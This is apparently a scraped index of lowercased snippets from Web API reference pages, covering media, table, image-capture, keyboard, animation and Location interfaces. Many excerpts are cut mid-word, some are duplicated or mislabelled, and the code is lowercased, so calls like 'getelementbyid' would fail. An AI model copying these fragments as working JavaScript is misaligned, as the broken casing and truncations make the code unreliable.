specifications specification status comment html living standardthe definition of 'onerror' in that specification.
HTMLMediaElement: play event - Web APIs
recommendation ...
HTMLMediaElement: playing event - Web APIs
recommendation ...
HTMLMediaElement: progress event - Web APIs
recommendation ...
HTMLMediaElement: ratechange event - Web APIs
recommendation ...
HTMLMediaElement: seeked event - Web APIs
recommendation ...
HTMLMediaElement: seeking event - Web APIs
recommendation ...
HTMLMediaElement.srcObject - Web APIs
rs may not have srcobject if ('srcobject' in video) { try { video.srcobject = mediasource; } catch (err) { if (err.name != "typeerror") { throw err; } // even if they do, they may only support mediastream video.src = url.createobjecturl(mediasource); } } else { video.src = url.createobjecturl(mediasource); } specifications specification status comment html living standardthe definition of 'srcobject' in that specification.
HTMLMediaElement: stalled event - Web APIs
recommendation ...
HTMLMediaElement: suspend event - Web APIs
recommendation ...
HTMLMediaElement: timeupdate event - Web APIs
recommendation ...
HTMLMediaElement.videoTracks - Web APIs
specifications specification status comment html living standardthe definition of 'htmlmediaelement.videotracks' in that specification.
HTMLMediaElement: volumechange event - Web APIs
recommendation ...
HTMLMediaElement: waiting event - Web APIs
recommendation ...
HTMLObjectElement.checkValidity - Web APIs
specifications specification status comment html living standardthe definition of 'checkvalidity' in that specification.
HTMLObjectElement.contentDocument - Web APIs
specifications specification status comment html living standardthe definition of 'contentdocument' in that specification.
HTMLObjectElement.contentWindow - Web APIs
specifications specification status comment html living standardthe definition of 'contentwindow' in that specification.
HTMLObjectElement.data - Web APIs
specifications specification status comment html living standardthe definition of 'data' in that specification.
HTMLObjectElement.form - Web APIs
specifications specification status comment html living standardthe definition of 'form' in that specification.
HTMLObjectElement.height - Web APIs
specifications specification status comment html living standardthe definition of 'height' in that specification.
HTMLObjectElement.name - Web APIs
specifications specification status comment html living standardthe definition of 'name' in that specification.
HTMLObjectElement.setCustomValidity - Web APIs
specifications specification status comment html living standardthe definition of 'setcustomvalidity' in that specification.
HTMLObjectElement.type - Web APIs
specifications specification status comment html living standardthe definition of 'type' in that specification.
HTMLObjectElement.useMap - Web APIs
specifications specification status comment html living standardthe definition of 'usemap' in that specification.
HTMLObjectElement.validationMessage - Web APIs
specifications specification status comment html living standardthe definition of 'validationmessage' in that specification.
HTMLObjectElement.validity - Web APIs
specifications specification status comment html living standardthe definition of 'validity' in that specification.
HTMLObjectElement.width - Web APIs
specifications specification status comment html living standardthe definition of 'width' in that specification.
HTMLObjectElement.willValidate - Web APIs
specifications specification status comment html living standardthe definition of 'willvalidate' in that specification.
HTMLOptionsCollection - Web APIs
specifications specification status comment html living standardthe definition of 'htmloptionscollection' in that specification.
HTMLOrForeignElement.tabIndex - Web APIs
syntax element.tabindex = index; var index = element.tabindex; value index is an integer example const b1 = document.getelementbyid('button1'); b1.tabindex = 1; specifications specification status comment html living standardthe definition of 'tabindex' in that specification.
HTMLPictureElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlpictureelement' in that specification.
HTMLSlotElement.assignedElements() - Web APIs
examples let slots = this.shadowroot.queryselector('slot'); let elements = slots.assignedelements({flatten: true}); specifications specification status comment html living standardthe definition of 'assignedelements()' in that specification.
HTMLSlotElement.assignedNodes() - Web APIs
specifications specification status comment html living standardthe definition of 'assignednodes' in that specification.
HTMLSlotElement.name - Web APIs
specifications specification status comment html living standardthe definition of 'name' in that specification.
HTMLSlotElement: slotchange event - Web APIs
specifications specification status comment domthe definition of '"mutation observers" and slotchange event' in that specification.
HTMLSlotElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlslotelement' in that specification.
HTMLTableElement.createCaption() - Web APIs
html <table> <tr><td>cell 1.1</td><td>cell 1.2</td><td>cell 1.3</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td><td>cell 2.3</td></tr> </table> javascript let table = document.queryselector('table'); let caption = table.createcaption(); caption.textcontent = 'this caption was created by javascript!'; result specifications specification status comment html living standardthe definition of 'htmltableelement: createcaption' in that specification.
HTMLTableElement.createTFoot() - Web APIs
syntax htmltablesectionelement = table.createtfoot(); return value htmltablesectionelement example let myfoot = mytable.createtfoot(); // now this should be true: myfoot == mytable.tfoot specifications specification status comment html living standardthe definition of 'htmltableelement: createtfoot' in that specification.
HTMLTableElement.createTHead() - Web APIs
syntax htmltablesectionelement = table.createthead(); return value htmltablesectionelement example let myhead = mytable.createthead(); // now this should be true: myhead == mytable.thead specifications specification status comment html living standardthe definition of 'htmltableelement: createthead' in that specification.
HTMLTableElement.deleteCaption() - Web APIs
html <table> <caption>this caption will be deleted!</caption> <tr><td>cell 1.1</td><td>cell 1.2</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td></tr> </table> javascript let table = document.queryselector('table'); table.deletecaption(); result specifications specification status comment html living standardthe definition of 'htmltableelement: deletecaption' in that specification.
HTMLTableElement.deleteRow() - Web APIs
html <table> <tr><td>cell 1.1</td><td>cell 1.2</td><td>cell 1.3</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td><td>cell 2.3</td></tr> <tr><td>cell 3.1</td><td>cell 3.2</td><td>cell 3.3</td></tr> </table> javascript let table = document.queryselector('table'); // delete second row table.deleterow(1); result specifications specification status comment html living standardthe definition of 'htmltableelement: deleterow' in that specification.
HTMLTableElement.deleteTFoot() - Web APIs
html <table> <thead><th>name</th><th>score</th></thead> <tr><td>bob</td><td>541</td></tr> <tr><td>jim</td><td>225</td></tr> <tfoot><th>average</th><td>383</td></tfoot> </table> javascript let table = document.queryselector('table'); table.deletetfoot(); result specifications specification status comment html living standardthe definition of 'htmltableelement: deletetfoot' in that specification.
HTMLTableElement.deleteTHead() - Web APIs
html <table> <thead><th>name</th><th>occupation</th></thead> <tr><td>bob</td><td>plumber</td></tr> <tr><td>jim</td><td>roofer</td></tr> </table> javascript let table = document.queryselector('table'); table.deletethead(); result specifications specification status comment html living standardthe definition of 'htmltableelement: deletethead' in that specification.
HTMLTableElement.insertRow() - Web APIs
row at the end of the table let newrow = tableref.insertrow(-1); // insert a cell in the row at index 0 let newcell = newrow.insertcell(0); // append a text node to the cell let newtext = document.createtextnode('new bottom row'); newcell.appendchild(newtext); } // call addrow() with the table's id addrow('my-table'); result specifications specification status comment html living standardthe definition of 'htmltableelement.insertrow()' in that specification.
HTMLTableElement.rows - Web APIs
specifications specification status comment html living standardthe definition of 'htmltableelement: rows' in that specification.
HTMLTableElement.tBodies - Web APIs
mytable.tbodies.length; specifications specification status comment html living standardthe definition of 'htmltableelement: tbodies' in that specification.
HTMLTableRowElement.insertCell() - Web APIs
row at the end of the table let newrow = tableref.insertrow(-1); // insert a cell in the row at index 0 let newcell = newrow.insertcell(0); // append a text node to the cell let newtext = document.createtextnode('new bottom row'); newcell.appendchild(newtext); } // call addrow() with the table's id addrow('my-table'); result specifications specification status comment html living standardthe definition of 'htmltablerowelement.insertcell()' in that specification.
HTMLVideoElement.getVideoPlaybackQuality() - Web APIs
this value includes any dropped or corrupted frames, so it's not the same as "total number of frames played." var videoelem = document.getelementbyid("my_vid"); var counterelem = document.getelementbyid("counter"); var quality = videoelem.getvideoplaybackquality(); counterelem.innertext = quality.totalvideoframes; specifications specification status comment media playback qualitythe definition of 'htmlvideoelement.getvideoplaybackquality()' in that specification.
Using microtasks in JavaScript with queueMicrotask() - Web APIs
while there have been tricks available that made it possible to enqueue microtasks in the past (such as by creating a promise that resolves immediately), the addition of the queuemicrotask() method adds a standard way to introduce a microtask safely and without tricks.
HashChangeEvent.newURL - Web APIs
example window.addeventlistener('hashchange', function(event) { console.log('hash changed to ' + event.newurl); }); specifications specification status comment html living standardthe definition of 'hashchangeevent: newurl' in that specification.
HashChangeEvent.oldURL - Web APIs
example window.addeventlistener('hashchange', function(event) { console.log('hash changed from ' + event.oldurl); }); specifications specification status comment html living standardthe definition of 'hashchangeevent: oldurl' in that specification.
HashChangeEvent - Web APIs
if ( newhash != oldhash && typeof window.onhashchange === "function" ) { // execute the handler window.onhashchange({ type: "hashchange", oldurl: oldurl, newurl: newurl }); oldurl = newurl; oldhash = newhash; } }, 100); })(window); specifications specification status comment html living standardthe definition of 'hashchangeevent' in that specification.
Headers() - Web APIs
WebAPIHeadersHeaders
my-custom-header' : 'zeke are cool' }; var myheaders = new headers(httpheaders); you can now create another headers object, passing it the first headers object as its init object: var secondheadersobj = new headers(myheaders); secondheadersobj.get('content-type'); // would return 'image/jpeg' — it inherits it from the first headers object specifications specification status comment fetchthe definition of 'headers()' in that specification.
Headers.append() - Web APIs
WebAPIHeadersappend
specifications specification status comment fetchthe definition of 'append()' in that specification.
Headers.get() - Web APIs
WebAPIHeadersget
specifications specification status comment fetchthe definition of 'get()' in that specification.
Headers.has() - Web APIs
WebAPIHeadershas
creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append, then test for the existence of it using has(): myheaders.append('content-type', 'image/jpeg'); myheaders.has('content-type'); // returns true myheaders.has('accept-encoding'); // returns false specifications specification status comment fetchthe definition of 'has()' in that specification.
Headers.set() - Web APIs
WebAPIHeadersset
specifications specification status comment fetchthe definition of 'set()' in that specification.
IDBCursorSync - Web APIs
if no key is specified, advance to the immediate next position.
IDBMutableFile - Web APIs
summary the idbmutablefile interface provides access in read or write mode to a file, dealing with all the necessary locks.
IDBVersionChangeRequest.setVersion() - Web APIs
the idbversionchangerequest.setversion method updates the version of the database, returning immediately and running a versionchange transaction on the connected database in a separate thread.
IDBVersionChangeRequest - Web APIs
returns immediately and runs a versionchange transaction on the connected database in a separate thread.
IIRFilterNode() - Web APIs
examples let feedforward = [0.00020298, 0.0004059599, 0.00020298]; let feedbackward = [1.0126964558, -1.9991880801, 0.9873035442]; const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); const iirfilter = new iirfilternode(audioctx, { feedforward: feedforward, feedback: feedbackward }); specifications specification status comment web audio apithe definition of 'iirfilternode()' in that specification.
IIRFilterNode.getFrequencyResponse() - Web APIs
ut); for(i = 0; i <= myfrequencyarray.length-1;i++){ var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + myfrequencyarray[i] + 'hz</strong>: magnitude ' + magresponseoutput[i] + ', phase ' + phaseresponseoutput[i] + ' radians.'; freqresponseoutput.appendchild(listitem); } } calcfrequencyresponse(); specifications specification status comment web audio apithe definition of 'getfrequencyresponse()' in that specification.
IIRFilterNode - Web APIs
specifications specification status comment web audio apithe definition of 'iirfilternode' in that specification.
IdleDeadline.didTimeout - Web APIs
specifications specification status comment cooperative scheduling of background tasks proposed recommendation ...
IdleDeadline - Web APIs
specifications specification status comment cooperative scheduling of background tasks proposed recommendation ...
ImageBitmap.close() - Web APIs
WebAPIImageBitmapclose
var bitmap = offscreen.transfertoimagebitmap(); // imagebitmap { width: 256, height: 256 } bitmap.close(); // imagebitmap { width: 0, height: 0 } -- disposed specifications specification status comment html living standardthe definition of 'close()' in that specification.
ImageBitmap.height - Web APIs
specifications specification status comment html living standardthe definition of 'imagebitmap.height' in that specification.
ImageBitmap.width - Web APIs
WebAPIImageBitmapwidth
specifications specification status comment html living standardthe definition of 'imagebitmap.height' in that specification.
ImageBitmap - Web APIs
specifications specification status comment html living standardthe definition of 'imagebitmap' in that specification.
ImageBitmapRenderingContext.transferFromImageBitmap() - Web APIs
// transfer the current frame to the visible canvas var bitmap = offscreen.transfertoimagebitmap(); htmlcanvas.transferfromimagebitmap(bitmap); specifications specification status comment html living standardthe definition of 'transferfromimagebitmap()' in that specification.
ImageBitmapRenderingContext - Web APIs
specifications specification status comment html living standardthe definition of 'imagebitmaprenderingcontext' in that specification.
ImageCapture() constructor - Web APIs
navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); }) .catch(error => console.log(error)); specifications specification status comment mediastream image capturethe definition of 'imagecapture' in that specification.
ImageCapture.getPhotoCapabilities() - Web APIs
.track.getsettings(); input.min = photocapabilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosettings.imagewidth; }) .catch(error => console.log('argh!', error.name || error)); specifications specification status comment mediastream image capturethe definition of 'getphotocapabilities()' in that specification.
ImageCapture.getPhotoSettings() - Web APIs
.track.getsettings(); input.min = photocapabilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosettings.imagewidth; }) .catch(error => console.log('argh!', error.name || error)); specifications specification status comment mediastream image capturethe definition of 'getphotosettings()' in that specification.
ImageCapture.grabFrame() - Web APIs
) .then(function(imagebitmap) { console.log('grabbed frame:', imagebitmap); canvas.width = imagebitmap.width; canvas.height = imagebitmap.height; canvas.getcontext('2d').drawimage(imagebitmap, 0, 0); canvas.classlist.remove('hidden'); }) .catch(function(error) { console.log('grabframe() error: ', error); }); } specifications specification status comment mediastream image capturethe definition of 'grabframe()' in that specification.
ImageCapture.takePhoto() - Web APIs
document.queryselector('canvas'); takephotobutton.onclick = takephoto; function takephoto() { imagecapture.takephoto().then(function(blob) { console.log('took photo:', blob); img.classlist.remove('hidden'); img.src = url.createobjecturl(blob); }).catch(function(error) { console.log('takephoto() error: ', error); }); } specifications specification status comment mediastream image capturethe definition of 'takephoto()' in that specification.
ImageCapture.track - Web APIs
specifications specification status comment mediastream image capturethe definition of 'track' in that specification.
ImageCapture - Web APIs
th, canvas.height); canvas.getcontext('2d').drawimage(img, 0, 0, img.width, img.height, x, y, img.width * ratio, img.height * ratio); } document.queryselector('video').addeventlistener('play', function() { document.queryselector('#grabframebutton').disabled = false; document.queryselector('#takephotobutton').disabled = false; }); specifications specification status comment mediastream image capturethe definition of 'imagecapture' in that specification.
ImageData() - Web APIs
h every pixel for (let i = 0; i < arr.length; i += 4) { arr[i + 0] = 0; // r value arr[i + 1] = 190; // g value arr[i + 2] = 0; // b value arr[i + 3] = 255; // a value } // initialize a new imagedata object let imagedata = new imagedata(arr, 200); // draw image data to the canvas ctx.putimagedata(imagedata, 20, 20); result specification specification status comment html living standardthe definition of 'imagedata()' in that specification.
ImageData.data - Web APIs
WebAPIImageDatadata
specification specification status comment html living standardthe definition of 'imagedata.data' in that specification.
ImageData.height - Web APIs
WebAPIImageDataheight
let imagedata = new imagedata(200, 100); console.log(imagedata.height); // 100 specification specification status comment html living standardthe definition of 'imagedata.height' in that specification.
ImageData.width - Web APIs
WebAPIImageDatawidth
let imagedata = new imagedata(200, 100); console.log(imagedata.width); // 200 specification specification status comment html living standardthe definition of 'imagedata.width' in that specification.
Browser storage limits and eviction criteria - Web APIs
there is no trimming effect put in place to delete parts of origins — deleting one database of an origin could cause problems with inconsistency.
InputDeviceCapabilities - Web APIs
specifications specification status comment inputdevicecapabilities draft initial definition.
firesTouchEvents - Web APIs
syntax var boolean = inputdevicecapabilities.firestouchevents returns a boolean example mybutton.addeventlistener('mousedown', function(e) { if (!e.sourcecapabilities.firestouchevents) mybutton.classlist.add("pressed"); }); specifications specification status comment inputdevicecapabilitiesthe definition of 'firetouchevents' in that specification.
InputDeviceCapabilities - Web APIs
specifications specification status comment inputdevicecapabilitiesthe definition of 'sourcecapabilities' in that specification.
InputDeviceCapabilities API - Web APIs
specifications specification status comment inputdevicecapabilities draft initial definition.
InputEvent.data - Web APIs
WebAPIInputEventdata
<p>some text to copy and paste.</p> <input type="text"> <p class="result"></p> var editable = document.queryselector('input') var result = document.queryselector('.result'); editable.addeventlistener('input', (e) => { result.textcontent = "inputted text: " + e.data; }); specifications specification status comment input events level 2the definition of 'data' in that specification.
InputEvent.dataTransfer - Web APIs
try pasting some content into this editable paragraph and see what happens!</p> <p class="result"></p> var editable = document.queryselector('p[contenteditable]'); var result = document.queryselector('.result') var datatransferobj; editable.addeventlistener('input', (e) => { result.textcontent = e.datatransfer.getdata('text/html'); }); specifications specification status comment input events level 2the definition of 'datatransfer' in that specification.
InputEvent.getTargetRanges() - Web APIs
specifications specification status comment input events level 2the definition of 'gettargetranges()' in that specification.
InputEvent.inputType - Web APIs
specifications specification status comment ui eventsthe definition of 'inputtype' in that specification.
InputEvent.isComposing - Web APIs
syntax var bool = event.iscomposing; example var inputevent = new inputevent('syntheticinput', false); console.log(inputevent.iscomposing); // return false specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'inputevent.iscomposing' in that specification.
InputEvent - Web APIs
specifications specification status comment input events level 2the definition of 'inputevent' in that specification.
InstallEvent - Web APIs
che) { return cache.addall(urlstoprefetch.map(function(urltoprefetch) { return new request(urltoprefetch, {mode: 'no-cors'}); })).then(function() { console.log('all resources have been fetched and cached.'); }); }).catch(function(error) { console.error('pre-fetching failed:', error); }) ); }); specifications specification status comment service workers working draft as of may 2015, the install event is an instance of extendableevent rather than a child of it.
compareVersion - Web APIs
the following constants can be used to check the value returned by compareversion: int major_diff = 4; int minor_diff = 3; int rel_diff = 2; int bld_diff = 1; int equal = 0; in communicator 4.5, the following constants are defined and available for checking the value returned by compareversion: <code>installtrigger.major_diff installtrigger.minor_diff installtrigger.rel_diff installtrigger.bld_diff installtrigger.equal </code> description the compareversion method compares the version of an installed file or package with a specified version.
enabled - Web APIs
summary indicates whether or not software installation is enabled for this client machine.
startSoftwareUpdate - Web APIs
summary triggers the downloading and installation of the software at the specified url.
IntersectionObserver.IntersectionObserver() - Web APIs
let observer = new intersectionobserver(myobservercallback, {threshold: 0.1}); specifications specification status comment intersection observerthe definition of 'intersectionobserver constructor' in that specification.
IntersectionObserver.disconnect() - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserver.disconnect()' in that specification.
IntersectionObserver.observe() - Web APIs
examples <<<...>>> specifications specification status comment intersection observerthe definition of 'intersectionobserver.observe()' in that specification.
IntersectionObserver.root - Web APIs
observer.root.style.border = "2px solid #44aa44"; specifications specification status comment intersection observerthe definition of 'intersectionobserver' in that specification.
IntersectionObserver.rootMargin - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserver.rootmargin' in that specification.
IntersectionObserver.takeRecords() - Web APIs
examples <<<...>>> specifications specification status comment intersection observerthe definition of 'intersectionobserver.takerecords()' in that specification.
IntersectionObserver.thresholds - Web APIs
examples <<<...>>> specifications specification status comment intersection observerthe definition of 'intersectionobserver.thresholds' in that specification.
IntersectionObserver.unobserve() - Web APIs
*/ observer.unobserve(document.getelementbyid("elementtoobserve")); specifications specification status comment intersection observerthe definition of 'intersectionobserver.unobserve()' in that specification.
IntersectionObserver - Web APIs
if (entries[0].intersectionratio <= 0) return; loaditems(10); console.log('loaded new items'); }); // start observing intersectionobserver.observe(document.queryselector('.scrollerfooter')); specifications specification status comment intersection observerthe definition of 'intersectionobserver' in that specification.
IntersectionObserverEntry.boundingClientRect - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.boundingclientrect' in that specification.
IntersectionObserverEntry.intersectionRatio - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.intersectionratio' in that specification.
IntersectionObserverEntry.intersectionRect - Web APIs
function intersectioncallback(entries) { entries.foreach(function(entry) { refreshzones.push({ element: entry.target, rect: entry.intersectionrect }); }); } specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.intersectionrect' in that specification.
IntersectionObserverEntry.isIntersecting - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.isintersecting' in that specification.
IntersectionObserverEntry.rootBounds - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.rootbounds' in that specification.
IntersectionObserverEntry.target - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.target' in that specification.
IntersectionObserverEntry.time - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.time' in that specification.
IntersectionObserverEntry - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserverentry' in that specification.
InterventionReportBody - Web APIs
gobserver(function(reports, observer) { let firstreport = reports[0]; console.log(firstreport.type); // intervention console.log(firstreport.body.id); console.log(firstreport.body.message); console.log(firstreport.body.sourcefile); console.log(firstreport.body.linenumber); console.log(firstreport.body.columnnumber); }, options); specifications specification status comment reporting apithe definition of 'interventionreportbody' in that specification.
Keyboard.getLayoutMap() - Web APIs
var keyboard = navigator.keyboard; keyboard.getlayoutmap() .then(keyboardlayoutmap => { var upkey = keyboardlayoutmap.get('keyw'); window.alert('press ' + upkey + ' to move up.'); }) specifications specification status comment keyboard mapthe definition of 'getlayoutmap()' in that specification.
Keyboard.lock() - Web APIs
WebAPIKeyboardlock
navigator.keyboard.lock(["keyw", "keya", "keys", "keyd"]); specifications specification status comment keyboard lockthe definition of 'lock()' in that specification.
Keyboard.unlock() - Web APIs
WebAPIKeyboardunlock
return value undefined specifications specification status comment keyboard mapthe definition of 'keyboard' in that specification.
Keyboard - Web APIs
WebAPIKeyboard
} specifications specification status comment keyboard mapthe definition of 'keyboard' in that specification.
KeyboardEvent() - Web APIs
specifications specification status comment ui eventsthe definition of 'keyboardevent()' in that specification.
KeyboardEvent.altKey - Web APIs
</p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.altkey' in that specification.
KeyboardEvent.charCode - Web APIs
specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.charcode' in that specification.
KeyboardEvent.ctrlKey - Web APIs
vascript"> function showchar(e){ alert( "key pressed: " + e.key + "\n" + "ctrl key pressed: " + e.ctrlkey + "\n" ); } </script> </head> <body onkeypress="showchar(event);"> <p>press any character key, with or without holding down the ctrl key.<br /> you can also use the shift key together with the ctrl key.</p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.ctrlkey' in that specification.
KeyboardEvent.isComposing - Web APIs
syntax var bool = event.iscomposing; example var kbdevent = new keyboardevent("synthetickey", false); console.log(kbdevent.iscomposing); // return false specifications specification status comment ui eventsthe definition of 'keyboardevent.prototype.iscomposing' in that specification.
KeyboardEvent.keyCode - Web APIs
} if (handled) { // suppress "double action" if event handled event.preventdefault(); } }, true); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.keycode' in that specification.
KeyboardEvent.location - Web APIs
syntax var location = event.location; example function keyevent(event) { console.log("location of key pressed: " + event.location); } specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.location' in that specification.
KeyboardEvent.repeat - Web APIs
syntax var repeat = event.repeat; return value boolean specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.repeat' in that specification.
KeyboardEvent.shiftKey - Web APIs
harcode: " + e.charcode + "\n" + "shift key pressed: " + e.shiftkey + "\n" + "alt key pressed: " + e.altkey + "\n" ); } </script> </head> <body onkeypress="showchar(event);"> <p>press any character key, with or without holding down the shift key.<br /> you can also use the shift key together with the alt key.</p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.shiftkey' in that specification.
KeyboardEvent.which - Web APIs
romcharcode(evt.charcode) + "\n" ); } function keydown(evt) { alert("onkeydown handler: \n" + "keycode property: " + evt.keycode + "\n" + "which property: " + evt.which + "\n" ); } </script> </head> <body onkeypress="showkeypress(event);" onkeydown="keydown(event);" > <p>please press any key.</p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.which' in that specification.
KeyboardLayoutMap.entries - Web APIs
specifications specification status comment keyboard mapthe definition of 'entries' in that specification.
KeyboardLayoutMap.forEach() - Web APIs
specifications specification status comment keyboard mapthe definition of 'foreach()' in that specification.
KeyboardLayoutMap.get() - Web APIs
var keyboard = navigator.keyboard; keyboard.getlayoutmap() .then(keyboardlayoutmap => { var upkey = keyboardlayoutmap.get('keyw'); window.alert('press ' + upkey + ' to move up.'); } specifications specification status comment keyboard mapthe definition of 'get()' in that specification.
KeyboardLayoutMap.has() - Web APIs
example specification status comment keyboard mapthe definition of 'has()' in that specification.
KeyboardLayoutMap.keys - Web APIs
specifications specification status comment keyboard mapthe definition of 'keys' in that specification.
KeyboardLayoutMap.size - Web APIs
specifications specification status comment keyboard mapthe definition of 'size' in that specification.
KeyboardLayoutMap.values - Web APIs
specifications specification status comment keyboard mapthe definition of 'values' in that specification.
KeyboardLayoutMap - Web APIs
var keyboard = navigator.keyboard; keyboard.getlayoutmap() .then(keyboardlayoutmap => { var upkey = keyboardlayoutmap.get('keyw'); window.alert('press ' + upkey + ' to move up.'); }) specifications specification status comment keyboard mapthe definition of 'keyboardlayoutmap' in that specification.
KeyframeEffect.KeyframeEffect() - Web APIs
eyframes that dictate how the white rabbit should animate down the hole: var rabbitdownkeyframes = new keyframeeffect( whiterabbit, // element to animate [ { transform: 'translatey(0%)' }, // keyframe { transform: 'translatey(100%)' } // keyframe ], { duration: 3000, fill: 'forwards' } // keyframe options ); specifications specification status comment web animations level 2the definition of 'keyframeeffectoptions.iterationcomposite' in that specification.
KeyframeEffect.composite - Web APIs
specifications specification status comment web animationsthe definition of 'keyframeeffect.composite' in that specification.
KeyframeEffect.getKeyframes() - Web APIs
examples in the red queen race example, we can inspect alice and the redqueen's animation to see its individual keyframes like so: // return the array of keyframes redqueen_alice.effect.getkeyframes(); specifications specification status comment web animationsthe definition of 'keyframeeffect.getkeyframes()' in that specification.
KeyframeEffect.iterationComposite - Web APIs
specifications specification status comment web animations level 2the definition of 'iterationcomposite' in that specification.
KeyframeEffect.setKeyframes() - Web APIs
keyframeeffect.setkeyframes( [ { color: 'blue' }, { color: 'green', left: '10px' } ] ); // passing an object with arrays for values existingkeyframeeffect.setkeyframes( { color: ['blue', 'green'], left: [ '0', '10px'] } ); // passing a single-member object existingkeyframeeffect.setkeyframes( { color: 'blue' } ); specifications specification status comment web animationsthe definition of 'keyframeeffect.setkeyframes()' in that specification.
KeyframeEffect.target - Web APIs
: var whiterabbit = document.getelementbyid("rabbit"); var rabbitdownkeyframes = new keyframeeffect( whiterabbit, [ { transform: 'translatey(0%)' }, { transform: 'translatey(100%)' } ], { duration: 3000, fill: 'forwards' } ); // returns <div id=​"rabbit">​click the rabbit's ears!​</div>​ rabbitdownkeyframes.target; specifications specification status comment web animationsthe definition of 'keyframeeffect' in that specification.
KeyframeEffect - Web APIs
eyframes that dictate how the white rabbit should animate down the hole: var rabbitdownkeyframes = new keyframeeffect( whiterabbit, // element to animate [ { transform: 'translatey(0%)' }, // keyframe { transform: 'translatey(100%)' } // keyframe ], { duration: 3000, fill: 'forwards' } // keyframe options ); specifications specification status comment web animationsthe definition of 'keyframeeffect' in that specification.
KeyframeEffectOptions - Web APIs
specifications specification status comment web animations level 2the definition of 'keyframeeffectoptions' in that specification.
LargestContentfulPaint - Web APIs
} specifications specification status comment largest contentful paintthe definition of 'largestcontentfulpaint' in that specification.
LayoutShift - Web APIs
} specifications specification status comment layout instability apithe definition of 'layoutshift' in that specification.
LayoutShiftAttribution - Web APIs
specifications specification status comment layout instability apithe definition of 'layoutshiftattribution' in that specification.
LinkStyle - Web APIs
WebAPILinkStyle
specifications specification status comment css object model (cssom)the definition of 'linkstyle' in that specification.
Location: ancestorOrigins - Web APIs
syntax const ancestors = location.ancestororigins; specifications specification status comment html living standardthe definition of 'ancestororigins ' in that specification.
Location: hash - Web APIs
WebAPILocationhash
syntax string = object.hash; object.hash = string; examples <a id="myanchor" href="/docs/location.href#examples">examples</a> <script> var anchor = document.getelementbyid("myanchor"); console.log(anchor.hash); // returns '#examples' </script> specifications specification status comment html living standardthe definition of 'hash' in that specification.
Location: host - Web APIs
WebAPILocationhost
location.host" anchor.host == "developer.mozilla.org" anchor.href = "https://developer.mozilla.org:443/location.host" anchor.host == "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port anchor.href = "https://developer.mozilla.org:4097/location.host" anchor.host == "developer.mozilla.org:4097" specifications specification status comment html living standardthe definition of 'host' in that specification.
Location: hostname - Web APIs
WebAPILocationhostname
syntax string = object.hostname; object.hostname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/location.hostname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.hostname; // returns:'developer.mozilla.org' specifications specification status comment html living standardthe definition of 'hostname' in that specification.
Location: href - Web APIs
WebAPILocationhref
syntax string = object.href; object.href = string; examples // lets imagine an <a id="myanchor" href="https://developer.mozilla.org/location/href"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.href; // returns: 'https://developer.mozilla.org/location/href' specifications specification status comment html living standardthe definition of 'href' in that specification.
Location: origin - Web APIs
WebAPILocationorigin
syntax string = object.origin; examples // on this page, returns the origin var result = window.location.origin; // returns:'https://developer.mozilla.org' specifications specification status comment html living standardthe definition of 'origin' in that specification.
Location: pathname - Web APIs
WebAPILocationpathname
syntax string = object.pathname; object.pathname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/location.pathname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.pathname; // returns:'/docs/location.pathname' specifications specification status comment html living standardthe definition of 'pathname' in that specification.
Location: port - Web APIs
WebAPILocationport
syntax string = object.port; object.port = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org:443/docs/location.port"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.port; // returns:'443' specifications specification status comment html living standardthe definition of 'location.port' in that specification.
Location: protocol - Web APIs
WebAPILocationprotocol
syntax string = object.protocol; object.protocol = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/location.protocol"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.protocol; // returns:'https:' specifications specification status comment html living standardthe definition of 'protocol' in that specification.
Location: search - Web APIs
WebAPILocationsearch
